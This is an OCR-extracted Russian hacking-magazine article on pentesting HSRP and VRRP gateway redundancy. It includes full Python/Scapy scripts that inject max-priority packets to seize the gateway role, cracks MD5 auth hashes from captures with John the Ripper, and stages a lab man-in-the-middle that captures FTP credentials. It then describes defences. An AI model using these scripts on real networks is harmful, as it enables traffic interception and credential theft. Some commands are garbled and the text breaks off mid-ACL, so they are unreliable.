книги хакеры / журнал хакер / xa-278_Optimized

Magama Bazarov

Network Security Expert

necreas1ng@gmail.com

ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ

Сущес­ ­тву­ет множес­ ­тво способов­ повысить отказоус­ ­той ­ чивость и надежность­ в корпоратив­ ­ных сетях. Часто­ для это ­ го применя­ ­ются специаль­ ­ные протоко­ ­лы первого­ перехода­ FHRP. Из этой статьи ты узнаешь­ , как пентесте­ ­ры работают­

с FHRP во время­ атак на сеть.

Статья имеет­ ознакоми­

тель­

ный­

характер­ и пред ­

назначена­

для

специалис­

тов­

по безопасности­

,

проводя­

щих­

тестирова­

ние­

в

рамках­

контрак­

та­ .

Автор и

редакция­

не несут

ответствен­

ности­

за любой вред, причинен­

ный­

с примене­

нием­

изложен­ ной­

информации­ . Распростра­

нение­

вре ­

доносных­

программ­

, нарушение­

работы систем­

и нарушение­

тайны­

переписки­ преследу­

ются­

по закону.

ЗАЧЕМ НУЖЕН FHRP

FHRP (First Hop Redundancy Protocol) — это семейство­ протоко­ лов­ , обес ­

печивающих­ избыточ­ ­ность сетевого­ шлюза­ . Общая идея заключа­ ­ется в том, чтобы­ объеди­ ­нить несколь­ ­ко физических­ маршру­ ­тиза­торов в один логичес ­ кий с общим IP-адресом­ . Этот адрес виртуаль­ ­ного маршру­ ­тиза­тора будет назначать­ ­ся на интерфейс маршру­ ­тиза­тора с главенс­ ­тву­ющей ролью, а тот, в свою очередь­ , займет­ ­ся форвардин­ ­гом трафика­ . Самые популярные­ про ­ токолы­ класса­ FHRP — это HSRP и VRRP, о них мы сегодня­ и поговорим­ .

Теория протокола HSRP

Протокол­ HSRP (Hot Standby Router Protocol) — это один из протоко­ ­лов клас ­

са FHRP, позволя­ ющих­ организо­ вать­ систему­ отказоус­ той­ чивос­ ти­ шлюзов­ . Разработан­ инженера­ ми­ Cisco Systems и работает­ только­ на сетевом обо ­ рудовании­ Cisco. Протокол­ реализован­ поверх стека­ TCP/IP и использует­

в качестве­ трансля­ ­ции служеб­ ­ной информации­ протокол­ UDP на порте­ 1985. Суть конфигура­ ­ции HSRP заключа­ ­ется в том, чтобы­ объеди­ ­нить маршру­ ­

тизаторы­ в одну логическую­ группу­ HSRP-маршру­ тиза­ торов­ под специаль­ ным­ числовым­ идентифика­ тором­ . В самой группе­ HSRP образует­ ся­ логический­ маршру­ тиза­ тор­ , который получит виртуаль­ ный­ IP-адрес. А тот, в свою оче ­ редь, будет назначать­ ся­ как шлюз по умолчанию­ для конечных­ хостов­ .

Маршру­ ­тиза­торы, на которых функци­ ­они­рует HSRP, для обмена­ служеб­ ­ной информацией­ используют­ так называемые­ Hello-пакеты. С их помощью устройства­ общаются­ между­ собой, проводят­ выборы и сообщают­ друг другу­ о своем­ состоянии­ .

Дамп HSRP-трафика­

По умолчанию­ активный маршру­ тиза­ тор­ каждые­ три секунды­ рассыла­ ет­ Helloсообщение­ , которое звучит­ как «Парни­ , я еще в строю». Однако­ если в течение десяти секунд Standby-маршру­ тиза­ тор­ не получает­ ни одного­ Helloсообщения­ от Active-маршру­ тиза­ тора­ , то он посчита­ ет­ , что активный маршру­ ­ тизатор­ «упал», и возьмет­ на себя его роль, исходя­ из значений­ приори­ тета­ .

Версии протокола HSRP

У протоко­ ­ла HSRP есть две версии­ — HSRPv1 и HSRPv2. Они отличают­ ­ся сле ­ дующими­ параметрами­ :

•количес­ ­тво возможных­ логических­ групп. В HSRPv1 их может быть до 255. У HSRPv2 количество­ групп может достигать­ 4096;

•IP-адрес мультикас­ ­товой рассылки­ . HSRPv1 для трансля­ ­ции служеб­ ­ной информации­ использует­ IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;

•виртуаль­ ­ный MAC-адрес. HSRPv1 в качестве­ виртуаль­ ­ного MAC-адреса­ использует­ 00:00:0C:07:AC:XX. У HSRPv2 виртуаль­ ­ный MAC-адрес 00: 00:0C:9F:FX:XX (где XX — это номер группы­ HSRP).

Сущности в домене HSRP

Врамках­ группы­ HSRP есть несколь­ ­ко сущностей­ :

•HSRP Active Router — устройство­ , играющее­ роль виртуаль­ ­ного маршру­ ­ тизатора­ и обеспечива­ ­ющее форвардинг­ трафика­ из сетей источника­ до сетей назначения­ ;

•HSRP Standby Router — устройство­ , играющее­ роль резервно­ ­го маршру­ ­ тизатора­ , которое ожидает­ отказа­ активного­ маршру­ ­тиза­тора. После­ падения основного­ Active-роутера­ Standby-роутер возьмет­ на себя гла ­ венству­ ­ющую роль и будет заниматься­ обязан­ ­ностя­ми Active-роутера­ ;

•HSRP Group — группа­ устройств­ — членов­ одной HSRP-группы­ , обес ­ печивают­ работу и отказоус­ ­той­чивость логического­ маршру­ ­тиза­тора;

•HSRP MAC Address — виртуаль­ ­ный MAC-адрес логического­ маршру­ ­тиза ­ тора в домене HSRP;

•HSRP Virtual IP Address — это специаль­ ­ный виртуаль­ ­ный IP-адрес в группе­ HSRP. Данный­ IP-адрес будет шлюзом­ по умолчанию­ для конечных­ хостов­ , использует­ ­ся на самом логическом­ маршру­ ­тиза­торе.

Теория протокола VRRP

VRRP (Virtual Router Redundancy Protocol) — протокол­ , разработан­ ­ный в качестве­ более свобод­ ной­ альтер­ нативы­ протоко­ лу­ HSRP. Но посколь­ ку­ он основан­ на феноменах­ протоко­ ла­ HSRP, с его «открытостью­ и свободой­ » есть некоторые­ нюансы­ , так что полностью­ свобод­ ным­ его не назвать­ . VRRP почти­ ничем не отличает­ ся­ от HSRP, выполняет­ те же самые функции­ , и в его домене абсолют­ но­ те же сущности­ , только­ называются­ они иначе­ .

В случае­ HSRP объявле­ ­ния генерировал­ не только­ Active-роутер, но и Standby-роутер. В случае­ VRRP выполнять­ рассылку­ объявле­ ­ний будет только­ Master-маршру­ ­тиза­тор на зарезервирован­ ­ный групповой­ адрес 224.0.0.18. По умолчанию­ пакеты приветс­ ­твия VRRP рассыла­ ­ются каждую­ секунду­ .

Дамп VRRP-трафика­

Версии протокола VRRP

Упротоко­ ­ла две версии­ — VRRPv2 и VRRPv3.

•У VRRPv3 есть поддер­ ­жка IPv6, VRRPv2 поддержи­ ­вает­ся только­ для сетей

IPv4.

•У VRRPv3 отсутству­ ­ет поддер­ ­жка аутентифика­ ­ции, у VRRPv2 имеется­ целых три способа­ аутентифика­ ­ции.

•VRRPv3 в качестве­ таймин­ ­гов использует­ сантисекун­ ­ды, VRRPv2 опериру­ ­ ет секундами­ .

Сущности в домене VRRP

• VRRP Master Router — это активный маршру­ тиза­ тор­ , отвечающий­ за передачу­ легитимного­ трафика­ в сети.

•VRRP Backup Router — маршру­ ­тиза­тор, находящий­ ­ся в режиме ожидания­ . Как только­ текущий Master Router упадет­ , перехватит­ его роль и будет выполнять­ его функции­ .

•VRRP MAC Address — виртуаль­ ­ный MAC-адрес в группе­ VRRP (00:00:5E: 01:XX). Вместо­ XX — номер группы­ VRRP.

•VRRP VRID — идентифика­ ­тор группы­ VRRP, в рамках­ которой расположе­ ­ны физические­ маршру­ ­тиза­торы.

•VRRP Virtual IP Address — специаль­ ­ный виртуаль­ ­ный IP-адрес в домене VRRP. Этот IP-адрес использует­ ­ся в качестве­ шлюза­ по умолчанию­

для конечных­ хостов­ .

Выбор главенствующего маршрутизатора

В рамках­ протоко­ лов­ FHRP выбор главенс­ тву­ ющей­ роли маршру­ тиза­ тора­ основыва­ ется­ на значении­ приори­ тета­ . По умолчанию­ в момент конфигура­ ­ ции на всех маршру­ тиза­ торах­ значение­ эквивален­ тно­ 100 единицам­ . Мак ­ симальное­ же значение­ приори­ тета­ лежит в диапазоне­ от 1 до 255 (для VRRP этот диапазон­ составля­ ет­ от 1 до 254).

Если­ админис­ ­тра­тор не позаботил­ ­ся о ручной­ конфигура­ ­ции значения­ приори­ ­тета на маршру­ ­тиза­торах, главным­ маршру­ ­тиза­тором станет­ тот, у которого­ наибольший­ IP-адрес. Инженер­ с помощью конфигура­ ­ции зна ­ чения приори­ ­тета сам решает­ , кто будет активным маршру­ ­тиза­тором, а кто — резервным­ .

Продолжение статьи0 →

FHRP HIJACKING

Техника­ этой сетевой атаки­ заключа­ ется­ в том, чтобы­ навязать свое устрой ­ ство в качестве­ главного­ маршру­ тиза­ тора­ с помощью инъекции­ HSRPили VRRP-пакета с максималь­ ным­ значени­ ем­ приори­ тета­ . Успешная эксплу­ ­ атация­ приводит­ к MITM-атаке­ , в результате­ которой ты сможешь­ перехватить­

весь трафик­ внутри­ сети, провес­ ­ти редирект или вызвать­ DoS. Достаточ­ ­но собрать­ HSRPили VRRP-пакет с наивысшим­ значени­ ­ем приори­ ­ тета 255 и направить­ его в сторону­ локальной­ сети. Согласись­ , не слишком­ сложно­ .

Как будет ходить трафик­ до атаки­

Как будет ходить трафик­ после­ атаки­

Так как во время­ атаки­ на FHRP надо взаимо­ ­дей ­ ствовать­ с легитимными­ маршру­ ­тиза­тора­ми — шлюзами­ по умолчанию­ для конечных­ хостов­ , необходимо­ очень быстро­ выполнять­ все свои действия­ , начиная от инъекции­ и заканчивая­ организа­ ­цией форвардин­ ­га всего­ трафика­ на сто ­ роне твоей­ машины. Если будешь медлить­ во время­ проведе­ ­ния атаки­ , конечные­ хосты­ сло ­

вят DoS — твой заказчик­ такой сценарий­ не оце ­ нит.

Подготовка кастомной инъекции

Я написал инстру­ мен­ ты­ для атак на FHRP-протоко­ лы­ , добавив их в свой репозиторий­ GatewayBleeding. Всегда­ лучше­ писать собствен­ ные­ инстру­ мен­ ­ ты, так ты понимаешь­ весь процесс­ эксплу­ ата­ ции­ с нуля, что очень важно­ . Кроме­ того, это будет выделять тебя на фоне остальных­ :)

Чтобы­ ты понимал принцип­ эксплу­ ­ата­ции, я разберу­ весь програм­ ­мный код скриптов­ HSRPWN.py и VRRPWN.py.

Инстру­ мен­ ты­ написаны­ на Python версии­ 3.

HSRPWN.py

Для начала нам необходимо­ импортировать­ библиоте­ ­ку Scapy, а также­ модуль для работы с L2-протоко­ ­лами и протоко­ ­лом HSRP. Кроме­ того, под ­ ключим­ модуль argparse, чтобы­ сделать­ скрипт параметризиро­ ­ван­ным.

from scapy.all import *

from scapy.layers.l2 import *

from scapy.layers.hsrp import *

import argparse

В переменную­ HSRPMulticastAddr запишем значение­ IP-адреса­ мультикас­ ­ товой рассылки­ HSRPv1.

HSRPMulticastAddr = "224.0.0.2"

Объявля­ ем­ функцию­ take_arguments. Она будет обрабаты­ вать­ введен­ ные­ пользовате­ ­лем входящие­ параметры­ :

•интерфейс­ , с которого­ будут отправлять­ ­ся пакеты (переменная­ interface);

•номер­ группы­ HSRP (переменная­ group);

•IP-адрес атакующе­ ­го (переменная­ attackerip);

•виртуаль­ ­ный IP-адрес домена HSRP (переменная­ vip);

•ключ для аутентифика­ ­ции (переменная­ auth).

Парсить­ введен­ ные­ параметры­ будет parser.parse_args(). Результат­ выполнения­ функции­ запишется­ в переменную­ args.

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose HSRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True,

help="Specify HSRP Virtual IP address")

parser.add_argument("--auth", dest="auth", type=str, required=

True, help="Enter the auth HSRP passphrase")

args = parser.parse_args()

return args

В функции­ inject происхо­ ­дит сборка­ инъекции­ HSRP-пакета с наибольшим­ значени­ ем­ приори­ тета­ 255. Значения­ для переменных­ внутри­ слоев­ пакетов извлекают­ ся­ из указан­ ных­ значений­ аргумен­ тов­ пользовате­ лем­ args.*. При этом:

•в переменной­ L2frame собирается­ Ethernet-фрейм;

•в переменной­ L3packet собирается­ сетевой пакет с IP-адресом­ источни ­ ка и IP-адресом­ назначения­ . TTL будет равен 1. Если отправишь­ пакет не с этим TTL — маршру­ ­тиза­торы отбросят­ его;

•в переменной­ UDP_layer создает­ ­ся UDP-слой с портом­ источника­ 1985 и портом­ назначения­ 1985;

•в переменной­ evil_hsrp создает­ ­ся вредонос­ ­ный HSRP-пакет со зна ­ чением­ приори­ ­тета 255, номером группы­ HSRP, значени­ ­ем виртуаль­ ­ного IP-адреса­ и ключом­ аутентифика­ ­ции;

•в переменной­ crafted собирается­ сам пакет с кадром­ , сетевым IPпакетом, слоем­ UDP и самим протоко­ ­лом HSRP.

def inject(interface, group, attackerip, vip, auth):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)

UDP_layer = UDP(sport=1985, dport=1985)

evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.

vip, auth=args.auth)

crafted = L2frame / L3packet / UDP_layer / evil_hsrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

Далее­ с помощью метода sendp собранный­ пакет через каждые­ три секунды­ отправляет­ ся­ с указан­ ного­ пользовате­ лем­ интерфейса­ . Работу скрипта­ ни в коем случае­ нельзя­ прекращать­ : если он упадет­ , пакеты перестанут­ рас ­ сылаться­ , легитимные­ маршру­ тиза­ торы­ признают­ наше устройство­ «погиб ­ шим» и перестро­ ят­ свои роли в домене.

В конце­ скрипта­ вызываем­ функции­ take_arguments и inject.

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip, args.

auth)

VRRPWN.py

Здесь почти­ все то же самое, что и с HSRPWN.py, но имеются­ и некоторые­ отличия­ .

Импорти­ руем­ модуль для работы с протоко­ лом­ VRRP:

from scapy.layers.vrrp import *

В переменной­ VRRPMulticastAddr указыва­ ется­ IP-адрес мультикас­ товой­ рассылки­ 224.0.0.18:

VRRPMulticastAddr = "224.0.0.18"

Функция­ take_arguments будет обрабаты­ вать­ введен­ ­ные пользовате­ лем­ входящие­ параметры­ :

•интерфейс­ , с которого­ будут отправлять­ ­ся пакеты (переменная­ interface);

•номер­ группы­ HSRP (переменная­ group);

•IP-адрес атакующе­ ­го (переменная­ attackerip);

•виртуаль­ ­ный IP-адрес домена HSRP (переменная­ vip).

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose VRRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True,

help="Specify VRRP Virtual IP address")

args = parser.parse_args()

return args

Что тут происхо­ дит­ :

•В L2frame собирается­ Ethernet-фрейм.

•В L3packet собирается­ IP-пакет с IP-адресом­ источника­ и IP-адресом­ назначения­ . TTL будет равен 255. Если отправишь­ пакет не с этим TTL — маршру­ ­тиза­торы отбросят­ его.

•В evil_vrrp создает­ ­ся вредонос­ ­ный VRRP-пакет со значени­ ­ем приори­ ­ тета 255, номером группы­ VRRP и значени­ ­ем виртуаль­ ­ного IP-адреса­ .

•В crafted собирается­ сам пакет с кадром­ , сетевым IP-пакетом и самим протоко­ ­лом VRRP.

def inject(interface, group, attackerip, vip):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255

)

evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip

)

crafted = L2frame / L3packet / evil_vrrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

В данном­ скрипте­ нет слоя протоко­ лов­ тран ­ спортного­ уровня­ . VRRP работает­ исключитель­ но­ на сетевом уровне­ и не реализован­ поверх стека­ протоко­ лов­ TCP/IP.

В конце­ скрипта­ вызываем­ функции­ take_arguments и inject:

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip)

Виртуальная лаборатория

Чтобы­ показать эксплу­ ­ата­цию на практике­ , я подготовил­ небольшой­ лабора ­ торный­ стенд.

Взаимо­ дей­ ствие­ сети на логическом­ уровне­

IP-адресация­ стенда­

Здесь:

•Dustup — это FTP-сервер­ ;

•Kali выступа­ ет­ в качестве­ атакующей­ машины;

•Radiant — клиент­ ская­ машина с Windows 10 LTSC;

•SW2 и SW4 — коммутато­ ры­ Cisco vIOS;

•R1 и R2 — маршру­ тиза­ торы­ Cisco vIOS.

Домен HSRP

Мы будем использовать­ версию­ HSRPv1.

Схема­ сети с HSRP

Домен VRRP

На этом стенде­ использует­ ся­ версия­ VRRPv2.

Схема­ сети с VRRP

Взлом MD5-аутентификации

Доступ­ к доменам FHRP может быть защищен аутентифика­ ­цией. В большинс­ ­ тве случаев­ использует­ ­ся MD5-аутентифика­ ­ция. Я покажу, как можно­ сбру ­ тить пароль, при этом получив хеш из дампа­ сетевого­ трафика­ .

Дамп HSRP-пакета с аутентифика­ цией­

Сохраня­ ем­ дамп трафика­ в файл hsrp_encrypted.pcap. Далее используем­ утилиту­ pcap2john и подаем­ ей на вход дамп трафика­ HSRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хеши­ , извлечен­ ­ные из дампа­ HSRP-трафика­

Копиру­ ­ем хеши в отдельный­ файл hsrp_md5_hashes.txt и с помощью John The Ripper начинаем­ перебирать­ пароли, указав­ словарь­ через параметр --wordlist. JTR сам определит­ тип хеша, находящий­ ­ся в файле­ .

necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/

wordlists/rockyou.txt

Взломан­ ный­ пароль от домена HSRP

Пароль­ от домена HSRP — admin. Теперь разберем­ такой же кейс с доменом

VRRP.

Дамп VRRP-пакета с аутентифика­ цией­

Сохраня­ ем­ дамп в файл vrrp_encrypted.pcap. Далее используем­ утилиту­ pcap2john и подаем­ ей на вход дамп трафика­ VRRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хеши­ , извлечен­ ­ные из дампа­ VRRP-трафика­

Копиру­ ­ем хеши в отдельный­ файл vrrp_md5_hashes.txt и с помощью John The Ripper начинаем­ перебирать­ пароли, указав­ словарь­ через параметр --wordlist. Как и в прошлом­ случае­ , тип хеша определя­ ­ется автомати­ ­чес­ки.

necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/

wordlists/rockyou.txt

Взломан­ ный­ пароль от домена VRRP

Пароль­ от VRRP-домена — cerberus.

Продолжение статьи0 →

АТАКА НА HSRP И ПЕРЕХВАТ ТРАФИКА

Необхо­ ­димо в первую­ очередь­ перевести­ сетевой интерфейс в неразборчи­ ­ вый режим и разрешить­ форвардинг­ на машине:

necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc

necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Запус­ каем­ скрипт HSRPWN.py, указыва­ ем­ интерфейс, IP-адрес атакующе­ го­ , виртуаль­ ­ный IP-адрес, номер группы­ и ключ аутентифика­ ­ции.

necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1

--ip 10.1.1.2 --vip 10.1.1.254 --auth cisco

Дамп трафика­ во время­ HSRP-инъекции­

Конфигура­ ция­ HSRP на маршру­ тиза­ торах­ R1 и R2 до выполнения­ инъекции­ :

0
R1# show standby brief0
			P indicates configured to preempt.0
			|0
Interface	Grp	Pri P State		Active	Standby	Virtual
IP0
Gi0/0	1	150	Active	local	10.1.1.200
10.1.1.254
0
0
R2# show standby brief0
			P indicates configured to preempt.0
			|0
Interface	Grp	Pri P State		Active	Standby	Virtual
IP0
Gi0/0	1	100	Standby 10.1.1.100		local
10.1.1.254
0

А вот поведение­ конфигура­ ции­ HSRP на маршру­ тиза­ торах­ R1 и R2 после­ выполнения­ инъекции­ :

0
R1# show standby brief0
			P indicates configured to preempt.0
			|0
Interface	Grp	Pri P State		Active	Standby	Virtual
IP0
Gi0/0	1	150	Standby 10.1.1.2		local
10.1.1.254
0
0
R2# show standby brief0
			P indicates configured to preempt.0
			|0
Interface	Grp	Pri P State		Active	Standby	Virtual
IP0
Gi0/0	1	100	Listen	10.1.1.2	10.1.1.100
10.1.1.254
0

Как видишь, маршру­ тиза­ торы­ R1 и R2 изменили­ свои роли. Теперь они приз ­ нают хост с IP-адресом­ 10.1.1.2 как Active-роутер.

На этом этапе­ нужно­ создать­ вторич­ ный­ IP-адрес на интерфейсе­ eth0 с указани­ ем­ виртуаль­ ного­ IP-адреса­ группы­ HSRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.

255.0

Далее­ необходимо­ удалить­ все маршру­ ты­ на твоей­ машине и создать­ единс ­ твенный­ , который будет проходить­ через один из легитимных­ маршру­ тиза­ ­ торов. В качестве­ следующе­ го­ шлюза­ можно­ указать­ IP-адрес одного­ из мар ­ шрутиза­ торов­ R1 или R2. Даже несмотря­ на то, что мы у него «отжали­ » роль Active-роутера­ , он все равно­ сможет­ выполнять­ маршру­ тиза­ цию­ и направить­ трафик­ до хоста­ либо сети назначения­ . Пропишем­ все же маршрут­ через IPадрес маршру­ тиза­ тора­ R1 — 10.1.1.100:

necreas1ng@Mercy:~$	sudo del default gw
necreas1ng@Mercy:~$	sudo	route	del	-net 0.0.0.0		netmask	0.0.0.0
necreas1ng@Mercy:~$	sudo	route	add	-net	0.0.0.0	netmask	0.0.0.0	gw
10.1.1.100 eth0

Сейчас­ ты видишь только­ исходящий­ трафик­ . Было бы неплохо­ получить так ­ же и входящий­ . Небольшое­ правило­ для NAT решит эту задачу.

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j

MASQUERADE

После­ атаки­ я попробую­ с машины под именем­ Radiant подклю­ чить­ ся­ к FTPсерверу­ под именем­ Dustup. Посмотрим­ , увенчалась­ ли атака­ успехом­ .

C:\Users\radiant>ftp 172.20.20.50

Дамп перехвачен­ ного­ FTP-трафика­ при атаке­ на HSRP

В конечном­ счете­ мы смогли­ перехватить­ легитимный­ трафик­ . Даже добыли креды­ от FTP-сервера­ mercy:i_dont_trust_you.

В этом кейсе­ ты перехватыва­ ешь­ абсолют­ но­ весь трафик­ внутри­ сети, а подклю­ чение­ к FTP-сер ­ веру будет служить­ примером­ , чтобы­ показать импакт от атаки­ .

АТАКА НА VRRP И ПЕРЕХВАТ ТРАФИКА

Запус­ ­каем скрипт VRRPWN.py:

necreas1ng@Mercy:~$	sudo python3 VRRPWN.py --interface eth0 --group 1
--ip 10.1.1.2 --vip	10.1.1.254
Ты можешь заметить, что только­		10.1.1.2 рассыла­	ет­	объявле­	ния­ .
Это говорит о том, что мы стали­ Master-роутером­ .

Дамп во время­ VRRP-инъекции­

Вот поведение­ VRRP на маршру­ тиза­ торах­ R1 и R2 до инъекции­ :

0
R1# show vrrp brief0
Interface	Grp	Pri Time	Own Pre	State	Master addr	Group
addr0
Gi0/0	1	150 3414	Y	Master	10.1.1.100
10.1.1.254
0
0
R2# show vrrp brief0
Interface	Grp	Pri Time	Own Pre	State	Master addr	Group
addr0
Gi0/0	1	100 3609	Y	Backup	10.1.1.100
10.1.1.254
0

А вот поведение­ VRRP на маршру­ тиза­ торах­ R1 и R2 после­ инъекции­ :

0
R1# show vrrp brief0
Interface	Grp	Pri	Time	Own	Pre State		Master addr		Group
addr0
Gi0/0	1	150	3414		Y	Backup		10.1.1.2
10.1.1.254
0
0
R2# show vrrp brief0
Interface	Grp	Pri	Time	Own	Pre State		Master addr		Group
addr0
Gi0/0	1	100 3609			Y	Backup		10.1.1.2
10.1.1.254
0

Маршру­ тиза­ торы­ R1 и R2 изменили­ свои роли. Теперь они признают­ хост с IP-адресом­ 10.1.1.2 как Master-роутер.

Затем­ нужно­ создать­ вторич­ ный­ IP-адрес на интерфейсе­ eth0 с указани­ ем­ виртуаль­ ного­ IP-адреса­ группы­ VRRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.

255.0

Далее­ удаляем­ все маршру­ ты­ на машине и создаем­ единствен­ ный­ через роутер R1:

necreas1ng@Mercy:~$	sudo del default gw
necreas1ng@Mercy:~$	sudo	route	del	-net 0.0.0.0		netmask	0.0.0.0
necreas1ng@Mercy:~$	sudo	route	add	-net	0.0.0.0	netmask	0.0.0.0	gw
10.1.1.100 eth0

И напоследок­ правило­ для SNAT:

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j

MASQUERADE

После­ атаки­ я попробую­ подклю­ чить­ ся­ с машины под именем­ Radiant к FTPсерверу­ под именем­ Dustup.

Дамп перехвачен­ ного­ FTP-трафика­ при атаке­ на VRRP

В итоге­ получился­ тот же сценарий­ : мы видим абсолют­ но­ весь трафик­ , но в рамках­ данного­ кейса­ меня интересо­ вал­ только­ FTP-трафик­ . Перехвачен­ ные­ креды­ — betrayal:punish_you.

ПРЕВЕНТИВНЫЕ МЕРЫ Приоритет 255

Из соображений­ безопасности­ рекомендует­ ­ся на Masterили Active-маршру­ ­ тизаторе­ выставить­ максималь­ ­ный приори­ ­тет. В таком случае­ , если злоумыш­ ­ ленник отправит­ вредонос­ ­ный пакет с приори­ ­тетом 255, у него не выйдет­ стать «главным­ », посколь­ ­ку таковой уже имеется­ .

	В этой статье я ориенти­	руюсь­	на принципы­
	и команды­ Cisco IOS CLI.

Конфигура­ ция­ для HSRP, группа­ 1:

R1(config)# int g0/0

R1(config-if)# standby 1 priority 255

Конфигура­ ­ция для VRRP, группа­ 1:

R1(config)# int g0/0

R1(config-if)# vrrp 1 priority 254

Аутентификация

Если­ ты собрался­ защищать домен FHRP с помощью парольной­ аутентифика­ ­ ции, обязатель­ ­но позаботься­ о стойкос­ ­ти пароля, чтобы­ его не сбрутили­ . Как ты видел, хеш в открытом­ виде передается­ по сети, поэтому­ у злоумыш­ ­ ленника­ имеются­ шансы­ перебрать­ пароль.

Конфигура­ ция­ MD5-аутентифика­ ции­ для HSRP, группа­ 1:

R1(config-if)#standby 1 authentication md5 key-string

all_h3re_f0r_y0u

Конфигура­ ­ция MD5-аутентифика­ ­ции для VRRP, группа­ 1:

R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u

Кстати­ говоря, оборудо­ ­вание Cisco может похвастать­ ­ся наличием­ keychainаутентифика­ ­ции. В таком случае­ конфигури­ ­руют­ся два ключа­ и даже можно­ настро­ ­ить интервалы­ времени­ , когда­ будет принимать­ ­ся и отправлять­ ­ся ключ. Такой подход­ в значитель­ ­ной степени­ усложняет­ жизнь злоумыш­ ­ленни­ку, пос ­ кольку­ ему придет­ ­ся не только­ брутить­ пароль, но и угадывать­ последова­ ­ тельность­ ключей­ и подходящий­ для их передачи­ промежу­ ­ток времени­ .

Ниже­ я привожу­ пример­ конфигура­ ­ции keychain в отношении­ маршру­ ­тиза ­ тора R1 для HSRP, для VRRP она тоже подойдет­ . Такую же конфигура­ ­цию сле ­ дует настро­ ­ить на остальных­ маршру­ ­тиза­торах в рамках­ одного­ домена.

R1#conf t # Входим в режим глобальной конфигурации0

R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под

названием SecureFHRP0

R1(config-keychain)# key 1 # Создаем первый ключ0

R1(config-keychain-key)# key-string gu1d1ng_

l1ght # Указываем пароль0

R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:

00 may 2

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0

R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00

may 2

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0

R1(config-keychain)# key

2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ0

R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль0

R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:

00 may 3

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа0

R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00

may 3

2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу0

R1(config)# interface GigabitEthernet 0/

1 # Входим в режим конфигурации интерфейса0

R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP #

Включаем MD5-аутентификацию с использованием keychain для группы

HSRP 10

Ограничение трафика HSRP

HSRP использует­ протокол­ транспортно­ го­ уровня­ UDP для приема­ и переда ­ чи служеб­ ных­ объявле­ ний­ . С помощью настрой­ ки­ ACL (Access List Control) мы можем ограничить­ трафик­ UDP по портам­ источника­ и назначения­ 1985. Если злоумыш­ ленник­ будет проводить­ инъекцию­ HSRP-пакетов, эти пакеты будут отброшены­ механизмом­ ACL.

Пример­ конфигура­ ­ции расширен­ ­ного ACL для безопасности­ HSRPv1:

R1(config)# ip access-list extended DropHSRP # Создаем расширенный

ACL с названием DropHSRP0

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.

0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по

обратной 30-битной маске, по портам 1985 и по мультикастовому

IP-адресу 224.0.0.20

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее

запрещаем UDP-трафик по портам 19850

R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик

по IP0

R1(config)# interface GigabitEthernet0/

0 # Входим в режим конфигурации интерфейса0

R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный

ACL к интерфейсу на IN0

Расширен­ ный­ ACL для версии­ HSRPv2:

R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный

ACL с названием DropHSRP

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.

0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по

обратной 30-битной маске, по портам 1985 и по мультикастовому

IP-адресу 224.0.0.2

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее

запрещаем UDP-трафик по портам 1985

